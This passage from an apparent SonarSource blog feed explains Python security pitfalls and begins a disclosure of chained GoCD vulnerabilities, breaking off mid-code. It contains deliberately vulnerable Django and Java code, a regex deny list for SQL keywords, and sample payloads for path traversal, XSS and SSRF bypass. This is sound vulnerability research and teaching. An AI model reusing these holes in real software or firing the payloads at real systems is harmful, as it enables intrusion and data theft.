*paths)&lt;/code&gt; function is used to join multiple file path components into a combined file path. The first parameter usually contains the basepath while each further parameter is appended to the basepath as a component. However, the function has a peculiarity that some developers are not aware of. If one of the appended components starts with a &lt;code&gt;/&lt;/code&gt;, all previous components including the basepath are removed and this component is treated as an absolute path. The following example shows this possible pitfall for developers.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def read_file(request): filename = request.POST[&apos;filename&apos;]
    file_path = os.path.join(&quot;var&quot;, &quot;lib&quot;, filename)
    if file_path.find(&quot;.&quot;) != -1:
        return HttpResponse(&quot;Failed!&quot;)
    with open(file_path) as f:
        return HttpResponse(f.read(), content_type=&apos;text/plain&apos;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 3, the resulting path is constructed from the user-controlled input &lt;code&gt;filename&lt;/code&gt; using the &lt;code&gt;os.path.join&lt;/code&gt; function. In line 4, the resulting path is checked to see if it contains a &lt;code&gt;.&lt;/code&gt; to prevent a path traversal vulnerability. However, if the attacker passes the filename parameter &lt;code&gt;/a/b/c.txt&lt;/code&gt; then the resulting variable &lt;code&gt;file_path&lt;/code&gt; in line 3 is an absolute file path. The &lt;code&gt;var/lib&lt;/code&gt; components including the basepath are now ignored by &lt;code&gt;os.path.join&lt;/code&gt; and an attacker can read any file without using a single &lt;code&gt;.&lt;/code&gt; character. Although this behavior is described in the &lt;code&gt;os.path.join&lt;/code&gt; documentation it has led to numerous vulnerabilities in the past (&lt;a href=&quot;https://www.gdatasoftware.com/blog/2014/10/23943-cuckoo-sandbox-evasion-poc-available&quot;&gt;Cuckoo Sandbox Evasion&lt;/a&gt;, &lt;a href=&quot;https://www.cvedetails.com/cve/CVE-2020-35736/&quot;&gt;CVE-2020-35736&lt;/a&gt;).&lt;/p&gt;&lt;h2&gt;4. Arbitrary Temp Files&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;tempfile.NamedTemporaryFile&lt;/code&gt; function is used to create temporary files with a specific name. However, the &lt;code&gt;prefix&lt;/code&gt; and &lt;code&gt;suffix&lt;/code&gt; parameters are vulnerable to a path traversal attack (&lt;a href=&quot;https://bugs.python.org/issue35278&quot;&gt;Issue 35278&lt;/a&gt;). If an attacker controls one of these parameters, he can create a temporary file at an arbitrary location in the file system. The following example shows a possible pitfall for developers.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def touch_tmp_file(request):
    id = request.GET[&quot;id&quot;]
    tmp_file = tempfile.NamedTemporaryFile(prefix=id)
    return HttpResponse(f&quot;tmp file: {tmp_file} created!&quot;, content_type=&quot;text/plain&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 3, the user input &lt;code&gt;id&lt;/code&gt; is used as a prefix for the temporary file. If an attacker passes the payload &lt;code&gt;/../var/www/test&lt;/code&gt; as the &lt;code&gt;id&lt;/code&gt; parameter, the following &lt;em&gt;tmp&lt;/em&gt; file is created: &lt;code&gt;/var/www/test_zdllj17&lt;/code&gt;. This may sound harmless at first glance, but it provides an attacker a basis for exploiting more complex vulnerabilities.&lt;/p&gt;&lt;h2&gt;5. Extended Zip Slip&lt;/h2&gt;&lt;p&gt;Extracting uploaded file archives is a common feature in web applications. In Python, the functions &lt;code&gt;TarFile.extractall&lt;/code&gt; and &lt;code&gt;TarFile.extract&lt;/code&gt; are known to be vulnerable to a &lt;em&gt;Zip Slip&lt;/em&gt; attack. That&amp;#x27;s when an attacker tampers with the file names inside an archive so that they contain path traversal (&lt;code&gt;../&lt;/code&gt;) characters. That&amp;#x27;s why archive entries should always be considered as untrusted sources. The &lt;code&gt;zipfile.extractall&lt;/code&gt; and &lt;code&gt;zipfile.extract&lt;/code&gt; functions sanitize zip entries and thus prevent such path traversal vulnerabilities. But, this does not mean that a path traversal vulnerability can’t occur within the ZipFile library. The following example shows a code for extracting zip files.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def extract_html(request):
    filename = request.FILES[&quot;filename&quot;]
    zf = zipfile.ZipFile(filename.temporary_file_path(), &quot;r&quot;)
    for entry in zf.namelist():
        if entry.endswith(&quot;.html&quot;):
            file_content = zf.read(entry)
            with open(entry, &quot;wb&quot;) as fp:
                fp.write(file_content)
    zf.close()
    return HttpResponse(&quot;HTML files extracted!&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 3, a &lt;code&gt;ZipFile&lt;/code&gt; handler is created from the temporary path of the uploaded user file. In lines 4 - 8, all zip entries ending with &lt;code&gt;.html&lt;/code&gt; are extracted. The function &lt;code&gt;zf.namelist&lt;/code&gt; in line 7 contains the name of an entry within the zip file. Note that only the &lt;code&gt;zipfile.extract&lt;/code&gt; and &lt;code&gt;zipfile.extractall&lt;/code&gt; functions sanitize the entries, not any of the other functions. In this case an attacker can create a filename, e.g. &lt;code&gt;../../../var/www/html&lt;/code&gt;, with arbitrary content. The contents of the malicious file are read in line 6 and written to the attacker&amp;#x27;s controlled path in lines 7-8. As a result, an attacker is allowed to create arbitrary HTML files on the entire server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As mentioned above, entries inside an archive should be considered untrusted. If you don’t use &lt;code&gt;zipfile.extractall&lt;/code&gt; or &lt;code&gt;zipfile.extract&lt;/code&gt; you should always sanitize the names of the zip entries e.g. by using &lt;code&gt;os.path.basename&lt;/code&gt;. Otherwise it could lead to a critical security vulnerability like the one found in NLTK Downloader (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-14751&quot;&gt;CVE-2019-14751&lt;/a&gt;).&lt;/p&gt;&lt;h2&gt;6. Incomplete Regex Match&lt;/h2&gt;&lt;p&gt;Regular expressions (&lt;em&gt;regex&lt;/em&gt;) are an integral part of most web applications. We commonly see them used by custom Web Application Firewalls (WAF) for input validation, e.g. to detect malicious strings. In Python, there is a subtle difference between &lt;code&gt;re.match&lt;/code&gt; and &lt;code&gt;re.search&lt;/code&gt; that we would like to demonstrate in the following code snippet.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def is_sql_injection(request):
    pattern = re.compile(r&quot;.*(union)|(select).*&quot;)
    name_to_test = request.GET[&quot;name&quot;]
    if re.search(pattern, name_to_test):
        return True
    return False&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 2, a pattern is defined that matches a &lt;code&gt;union&lt;/code&gt; or &lt;code&gt;select&lt;/code&gt; to detect a possible SQL Injection. This is a terrible idea, as you can often bypass these blacklists, but we’ve seen it in real-world applications. In line 4 the function &lt;code&gt;re.match&lt;/code&gt; is used with the previously defined pattern to check if the user input &lt;code&gt;name&lt;/code&gt; in line 3 contains any of these malicious values. However, unlike the &lt;code&gt;re.search&lt;/code&gt; function, the &lt;code&gt;re.match&lt;/code&gt; function does not match on new lines. For example, if an attacker submitted the value &lt;code&gt;aaaaaa \n union select&lt;/code&gt;, the user input would not match the regex. As a result, the check can be bypassed and does not provide any protection. Overall, we do not recommend using a regex deny list for any security checks.&lt;/p&gt;&lt;h2&gt;7. Unicode Sanitizer Bypass&lt;/h2&gt;&lt;p&gt;Unicode allows characters to be used in multiple representations and maps these characters to codepoints. In the Unicode standard, four normalizations are defined for different Unicode characters. An application can use these normalizations to store data, such as a user name, in a uniform way independent of the human language. However, an attacker can exploit these normalizations, and that has already led to a vulnerability in Python&amp;#x27;s &lt;code&gt;urllib&lt;/code&gt; (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-9636&quot;&gt;CVE-2019-9636&lt;/a&gt;). The following code snippet demonstrates a Cross-Site Scripting (&lt;a href=&quot;https://rules.sonarsource.com/python/RSPEC-5131&quot;&gt;XSS&lt;/a&gt;) vulnerability based on the NFKC normalization.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import unicodedata
from django.shortcuts import render
from django.utils.html import escape

def render_input(request):
    user_input = escape(request.GET[&quot;p&quot;])
    normalized_user_input = unicodedata.normalize(&quot;NFKC&quot;, user_input)
    context = {&quot;my_input&quot;: normalized_user_input}
    return render(request, &quot;test.html&quot;, context)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 6, the user input is sanitized by Django&amp;#x27;s &lt;code&gt;escape&lt;/code&gt; function to prevent an XSS vulnerability. In line 7, the sanitized input is normalized via the NFKC algorithm so that it is correctly rendered in lines 8-9 through the &lt;code&gt;test.html&lt;/code&gt; template.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
    &lt;body&gt;
        {{ my_input | safe }}
    &lt;/body&gt;
&lt;/html&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;templates/test.html&lt;/em&gt;&lt;/p&gt;&lt;p&gt;Within the template &lt;code&gt;test.html&lt;/code&gt;, the variable &lt;code&gt;my_input&lt;/code&gt; in line 4 is marked as &lt;code&gt;safe&lt;/code&gt;&lt;em&gt; &lt;/em&gt;because the developer expects special characters and assumes that the variable has already been sanitized by the &lt;code&gt;escape&lt;/code&gt; function. By using the keyword &lt;code&gt;safe&lt;/code&gt; the variable is not sanitized additionally by Django. However, due to normalization in line 7 (&lt;code&gt;view.py&lt;/code&gt;), the character &lt;code&gt;%EF%B9%A4&lt;/code&gt; is transformed to &lt;code&gt;&amp;lt;&lt;/code&gt; and &lt;code&gt;%EF%B9%A5&lt;/code&gt; is transformed to &lt;code&gt;&amp;gt;&lt;/code&gt;. This allows an attacker to inject arbitrary HTML tags and to trigger an XSS vulnerability. To prevent this vulnerability, user input should always be sanitized at the very last step, after it has been normalized.&lt;/p&gt;&lt;h2&gt;8. Unicode Case Collision&lt;/h2&gt;&lt;p&gt;As mentioned above, Unicode characters are mapped to codepoints. However, there are many different human languages and Unicode tries to unify them. This also means that there is a high probability that different characters have the same &amp;quot;layout&amp;quot;. For example, the lowercase Turkish &lt;code&gt;ı&lt;/code&gt; (without a dot) character is &lt;code&gt;I&lt;/code&gt; in uppercase. &lt;/p&gt;&lt;p&gt;In Latin-based alphabets, the character &lt;code&gt;i&lt;/code&gt; is also &lt;code&gt;I&lt;/code&gt; in uppercase. In Unicode terms, the two different characters are mapped to the same codepoint in uppercase. This behavior is exploitable and has already led to a critical vulnerability in Django (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2019-19844&quot;&gt;CVE-2019-19844&lt;/a&gt;). Let’s have a look at the following code example of a password reset feature.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;from django.core.mail import send_mail
from django.http import HttpResponse
from vuln.models import User

def reset_pw(request):
    email = request.GET[&quot;email&quot;]
    result = User.objects.filter(email__exact=email.upper()).first()
    if not result:
        return HttpResponse(&quot;User not found!&quot;)
    send_mail(
        &quot;Reset Password&quot;,
        &quot;Your new pw: 123456.&quot;,
        &quot;from@example.com&quot;,
        [email],
        fail_silently=False,
    )
    return HttpResponse(&quot;Password reset email sent!&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 6 the user input &lt;code&gt;email&lt;/code&gt; is provided and in lines 7-9 the provided email value is checked to see if a user with this given email exists. If the user exists, an email is sent to the user in line 10 by using the user-supplied email address from line 6. It is important to mention that the check of the email address in lines 7-9 is performed &lt;em&gt;case-insensitively&lt;/em&gt; by using the &lt;code&gt;upper&lt;/code&gt; function first. For the attack, we assume that a user with the email &lt;code&gt;foo@mix.com&lt;/code&gt; exists in the database. An attacker can now simply pass &lt;code&gt;foo@mıx.com&lt;/code&gt; as the email in line 6 where the &lt;code&gt;i&lt;/code&gt; is replaced with the Turkish &lt;code&gt;ı&lt;/code&gt;. In line 7 the email is then transformed to uppercase which results in &lt;code&gt;FOO@MIX.COM&lt;/code&gt;. This means that a user has been found and a password reset email is sent. However, the email is sent to the untransformed email address from line 6 and therefore still contains the Turkish &lt;code&gt;ı&lt;/code&gt;. In other words, the password of another user is sent to the attacker-controlled email address. To prevent this vulnerability, line 10 can be replaced with the user&amp;#x27;s email from the database. Even if a collision occurs, an attacker has no benefit from it in this context.&lt;/p&gt;&lt;h2&gt;9. IP Address Normalisation&lt;/h2&gt;&lt;p&gt;In Python &amp;lt; 3.8, IP addresses are normalized by the &lt;code&gt;ipaddress&lt;/code&gt; library so that leading zeros are removed. This behavior might look harmless at first glance, but it has already led to a high-severity vulnerability in Django (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-33571&quot;&gt;CVE-2021-33571&lt;/a&gt;). An attacker can exploit the normalization to bypass potential validators for Server-Side Request Forgery (&lt;a href=&quot;https://rules.sonarsource.com/python/RSPEC-5144&quot;&gt;SSRF&lt;/a&gt;) attacks. The following code snippet shows how such a validator can be bypassed.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import requests
import ipaddress

def send_request(request):
    ip = request.GET[&quot;ip&quot;]
    try:
        if ip in [&quot;127.0.0.1&quot;, &quot;0.0.0.0&quot;]:
            return HttpResponse(&quot;Not allowed!&quot;)
        ip = str(ipaddress.IPv4Address(ip))
    except ipaddress.AddressValueError:
        return HttpResponse(&quot;Error at validation!&quot;)
    requests.get(&quot;https://&quot; + ip)
    return HttpResponse(&quot;Request send!&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;view.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;In line 5, an IP address is given by a user, and in line 7, a denylist is used to check if the IP is a local address in order to prevent a possible SSRF vulnerability. The denylist is not complete and is only used as an example. In line 9 the code checks whether the provided IP is an IPv4 address and at the same time the IP is normalized. The actual request to the provided IP is performed on line 12 after all validations. However, an attacker could pass &lt;code&gt;127.0.00.1&lt;/code&gt; as the IP address, which is not found in the denylist in line 7. Afterward, in line 9, the IP is normalized to &lt;code&gt;127.0.0.1&lt;/code&gt; using &lt;code&gt;ipaddress.IPv4Address&lt;/code&gt;. As a consequence, the attacker is able to bypass the SSRF validator and send requests to the local network addresses.&lt;/p&gt;&lt;h2&gt;10. URL Query Parsing&lt;/h2&gt;&lt;p&gt;In Python &amp;lt; 3.7 the function &lt;code&gt;urllib.parse.parse_qsl&lt;/code&gt; allows the use of the &lt;code&gt;;&lt;/code&gt; and &lt;code&gt;&amp;amp;&lt;/code&gt; characters as separators for URL query variables. What&amp;#x27;s interesting here is that the &lt;code&gt;;&lt;/code&gt; character is not recognized as a separator by other languages. In the following example, we would like to show why this behavior could lead to a vulnerability. Let&amp;#x27;s assume that we are running an infrastructure where the frontend is a PHP application and there is another internal Python application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker sends the following GET request to the PHP frontend:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;GET https://victim.com/?a=1;b=2&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The PHP frontend recognizes only one query variable: &lt;code&gt;a&lt;/code&gt; with the content &lt;code&gt;1;b=2&lt;/code&gt;. PHP does not treat &lt;code&gt;;&lt;/code&gt; characters as separators for query variables. Now the frontend forwards the attacker&amp;#x27;s request to an internal Python application with the query variable &lt;code&gt;a&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;GET https://internal.backend/?a=1;b=2&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;code&gt;urllib.parse.parse_qsl&lt;/code&gt; is used, the Python application processes two query variables: &lt;code&gt;a=1&lt;/code&gt; and &lt;code&gt;b=2&lt;/code&gt; This difference in the parsing of query variables can lead to fatal security vulnerabilities, like the web cache poisoning vulnerability in Django (&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2021-23336&quot;&gt;CVE-2021-23336&lt;/a&gt;).&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we introduced 10 Python security pitfalls that we believe are less known among developers. Each subtle pitfall can be easily overlooked and has led to security vulnerabilities in real-world applications in the past. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have seen that pitfalls can occur in all kinds of operations, from processing files, directories, archives, URLs, and IPs to simple strings. A common pattern is the use of library functions which can have unexpected behavior. This reminds us to always upgrade to the latest version and to carefully read the documentation. At SonarSource, we are researching about these pitfalls to continuously improve our code analyzers.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/clean_coding-quality_profile_quality_gate_guidance&quot;&gt;Clean As You Code essentials - What are Quality Profiles and Quality Gates?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/hack-the-stack-with-localstack&quot;&gt;Hack the Stack with LocalStack: Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/code-security-now-theres-a-tool-for-developers&quot;&gt;Code security: now there&amp;#x27;s a tool for developers&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Agent 008: Chaining Vulnerabilities to Compromise GoCD]]></title><description><![CDATA[We discovered 3 more code vulnerabilities in the popular GoCD CI/CD system that can be chained by attackers to leak or modify internal code. Learn more in this blog post.]]></description><link>https://www.sonarsource.com/blog/gocd-vulnerability-chain</link><guid isPermaLink="false">a11f3fde-511b-57c0-b335-b51fbbf8dff8</guid><dc:creator><![CDATA[Simon Scannell and Thomas Chauchefoin]]></dc:creator><pubDate>Thu, 11 Nov 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;GoCD is a popular Java CI/CD solution with a large range of users from NGOs to Fortune 500 companies with billions of dollars in revenue. Naturally, this makes it a critical piece of infrastructure and an extremely attractive target for attackers. In our previous article, &lt;a href=&quot;https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD&lt;/a&gt;, we demonstrated how unauthenticated attackers could impersonate build agents and access features that were previously protected by authentication mechanisms (CVE-2021-43287), leading to the disclosure of credentials and sensitive tokens for third-party services. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this follow-up article, we describe three additional vulnerabilities discovered and responsibly disclosed by the SonarSource R&amp;amp;D team in GoCD 21.2.0 and below. First, a vulnerability that can be used by attackers impersonating build agents to force administrators to perform security-sensitive actions without their knowledge (CVE-2021-43288). Then, two additional vulnerabilities that could be chained with the first one to fully compromise the targeted instance by executing arbitrary commands (CVE-2021-43286, CVE-2021-43289) on the server hosting GoCD. These findings are already addressed by the latest release of GoCD: this article aims to share our root cause analysis and insights on how they could be exploited. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A threat actor taking advantage of these vulnerabilities could gain control of components within a release pipeline and leak intellectual property or include backdoors in the company&amp;#x27;s software. As an example, think about the&lt;a href=&quot;https://blog.qualys.com/vulnerabilities-threat-research/2021/01/04/technical-deep-dive-into-solarwinds-breach&quot;&gt; SolarWinds hack&lt;/a&gt;, where attackers gained access to the software delivery pipeline and added a backdoor to critical software, leading to one of the most impactful supply-chain attacks thus far.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;These three additional vulnerabilities in GoCD can be exploited by attackers who bypassed the mandatory authentication and obtained &lt;em&gt;Agent&lt;/em&gt; privileges as presented in &lt;a href=&quot;https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD&lt;/a&gt; using CVE-2021-43287. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first one is a Stored Cross-Site Scripting vulnerability that allows attackers to impersonate administrators after the visit of a poisoned job status page. To replicate what real-world attackers could do, we identified another two post-authentication vulnerabilities that can lead to the execution of arbitrary commands on the server when chained with the cross-site scripting vulnerability. Here is a representation of how they could be connected by attackers to compromise the server:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5ea2f7e3-5c78-43c5-ad3d-225240075953/body-050402b4-8fa8-422d-ad64-30f10c8a0aa4_GoCD_2_2.png&quot; /&gt;&lt;p&gt;Attackers exploiting these findings could leak API keys to external services such as Docker Hub and GitHub, steal private source code, get access to production environments, and overwrite files that are being produced as part of the build processes, leading to supply-chain attacks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All our findings including the ones presented in our first article were addressed in &lt;a href=&quot;https://www.gocd.org/releases/#21-3-0&quot;&gt;GoCD v21.3.0&lt;/a&gt;, available since October 26th. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our exploit video demonstrates how the Stored Cross-Site Scripting can be triggered and used to take the control of an unpatched GoCD instance:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/rcE7twuMXCQ&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;The three findings we describe in this article are all related to agent tasks and the way they communicate their results back to the GoCD server. From an architectural perspective, agents can be considered a special kind of user with a different HTTP API and means of authentication. They are identified with a UUID transmitted in the &lt;code&gt;X-Agent-GUID&lt;/code&gt; header and an HMAC of this value in Authorization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;They get new jobs by calling &lt;code&gt;/go/remoting/api/agent/get_work&lt;/code&gt; at regular intervals with a &lt;code&gt;GetWorkRequest&lt;/code&gt; packet. When a pipeline should run and an agent is chosen for the workload, the server provides the agent with all the necessary information. This includes the commands to run, and the secrets and environment variables to use. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While performing the pre-defined actions for their tasks, they send their status (e.g. building, passed, etc.), the console output, and eventual files and folders resulting from the build (also named “artifacts”) back to the server. These two last elements are sent over the &lt;code&gt;/go/remoting/files/&lt;/code&gt; endpoint.&lt;/p&gt;&lt;h3&gt;CVE-2021-43288 - Cross-Site Scripting on job status page&lt;/h3&gt;&lt;p&gt;This first finding is related to the job status page, which displays everything about jobs, including tests, a tree display of artifacts (files, folders), and a console-like presentation of logs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s take a look at the source code behind this feature. GoCD implements its own server-side presentation layer: controller code has to create and fill &lt;code&gt;HtmlElement&lt;/code&gt; objects, which will later be sent back to the client after being processed by a &lt;code&gt;HtmlRenderer&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The rendering of the &lt;em&gt;Artifacts&lt;/em&gt; tab is implemented in &lt;code&gt;DirectoryEntries.java&lt;/code&gt;. At &lt;code&gt;[1]&lt;/code&gt;, it iterates over &lt;code&gt;DirectoryEntry&lt;/code&gt; objects and call their &lt;code&gt;toHtml()&lt;/code&gt; method and passes it to the presentation renderer at &lt;code&gt;[2]&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gocd/gocd/blob/fdbdbd4477cd8ae9b90b5dae883199f01fe00dce/common/src/main/java/com/thoughtworks/go/domain/DirectoryEntries.java&quot;&gt;&lt;strong&gt;common/src/main/java/com/thoughtworks/go/domain/DirectoryEntries.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class DirectoryEntries extends ArrayList&lt;DirectoryEntry&gt; implements HtmlRenderable, JsonAware {
   @Override
   public void render(HtmlRenderer renderer) {
       // [...]
       for (DirectoryEntry entry : this) {   // [1]
           entry.toHtml().render(renderer);  // [2]
        }
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For both directories and files in the artifacts list, the final HTML code is generated based on the entry name, without further sanitization: &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gocd/gocd/blob/fdbdbd4477cd8ae9b90b5dae883199f01fe00dce/common/src/main/java/com/thoughtworks/go/domain/FileDirectoryEntry.java&quot;&gt;&lt;strong&gt;common/src/main/java/com/thoughtworks/go/domain/FileDirectoryEntry.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public class FileDirectoryEntry extends DirectoryEntry {
   @Override
   protected HtmlRenderable htmlBody() {
       return HtmlElement.li() // [...]
                .content(getFileName())&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attackers impersonating agents can exploit this weakness by sending artifacts with malicious names to inject arbitrary HTML elements into the page, such as &lt;code&gt;&amp;lt;img%20src=x%20onerror=alert(document.domain)&amp;gt;&lt;/code&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As shown in the capture below, the persistently stored payload will then be executed as soon as the job status page is opened by the victim. This page is likely to be visited by administrators if attackers deliberately fail CI jobs to get their attention.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Through this vulnerability, attackers are able to execute arbitrary JavaScript code in the victim’s browser, including initiating further HTTP requests with the victim&amp;#x27;s privileges. &lt;/p&gt;&lt;h6&gt;Patch&lt;/h6&gt;&lt;p&gt;The maintainers addressed this vulnerability in &lt;a href=&quot;https://github.com/gocd/gocd/commit/f5c1d2aa9ab302a97898a6e4b16218e64fe8e9e4&quot;&gt;f5c1d2a&lt;/a&gt;, in which they introduced the use of &lt;code&gt;org.apache.commons.text.StringEscapeUtils&lt;/code&gt; to escape names of files and folders during their rendering as HTML elements.&lt;/p&gt;&lt;h3&gt;Executing arbitrary commands on the server&lt;/h3&gt;&lt;p&gt;With the help of the Stored Cross-Site Scripting vulnerability we described in the first section, attackers could force authenticated users to perform arbitrary actions without their knowledge, like disabling authentication or exploiting vulnerabilities that would not be reachable by the attacker otherwise. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To demonstrate this risk, the SonarSource Vulnerability Research team identified two additional vulnerabilities that can be chained with the Stored Cross-Site Scripting in order to gain arbitrary code execution on the GoCD instance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first finding is related to the way artifacts are written on the local filesystem: a parameter used by the application to craft the final destination path of the artifact is not validated. This behavior allows attackers to write files with arbitrary content to an arbitrary location.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A second vulnerability was discovered in the way GoCD processes the URLs of remote code  repositories. Because of insufficient validation of these values,  the behavior of external commands invoked by GoCD can be altered.&lt;/p&gt;&lt;h6&gt;CVE-2021-43289, CVE-2021-43290 - Path Traversal in artifacts upload&lt;/h6&gt;&lt;p&gt;&lt;strong&gt;Vulnerable code&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Console output and artifacts are sent over the &lt;code&gt;/go/remoting/files/&lt;/code&gt; endpoint. The handler is found in &lt;code&gt;ArtifactsController.java&lt;/code&gt;, and is implemented as follows:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/gocd/gocd/blob/fdbdbd4477cd8ae9b90b5dae883199f01fe00dce/server/src/main/java/com/thoughtworks/go/server/controller/ArtifactsController.java&quot;&gt;&lt;strong&gt;server/src/main/java/com/thoughtworks/go/server/controller/ArtifactsController.java&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@RequestMapping(value = &quot;/repository/restful/artifact/PUT/*&quot;, method = RequestMethod.PUT)
   public ModelAndView putArtifact(@RequestParam(&quot;pipelineName&quot;) String pipelineName,
                                   @RequestParam(&quot;pipelineCounter&quot;) String pipelineCounter,
                                   @RequestParam(&quot;stageName&quot;) String stageName,
                                   @RequestParam(value = &quot;stageCounter&quot;, required = false) String stageCounter,
                                   @RequestParam(&quot;buildName&quot;) String buildName,
                                   @RequestParam(value = &quot;buildId&quot;, required = false) Long buildId,
                                   @RequestParam(&quot;filePath&quot;) String filePath,
                                   @RequestParam(value = &quot;agentId&quot;, required = false) String agentId,
                                   HttpServletRequest request
   ) throws Exception {
       // [1]
       if (filePath.contains(&quot;..&quot;)) {
           return FileModelAndView.forbiddenUrl(filePath);
       }
 
       // [2]
       JobIdentifier jobIdentifier;
       try {
          jobIdentifier = restfulService.findJob(pipelineName, pipelineCounter, stageName, stageCounter, buildName, buildId);
       } catch (Exception e) {
           return buildNotFound(pipelineName, pipelineCounter, stageName, stageCounter, buildName);
       }
 
       // [3]
       if (isConsoleOutput(filePath)) {
           return putConsoleOutput(jobIdentifier, request.getInputStream());
       } else {
           return putArtifact(jobIdentifier, filePath, request.getInputStream());
       }
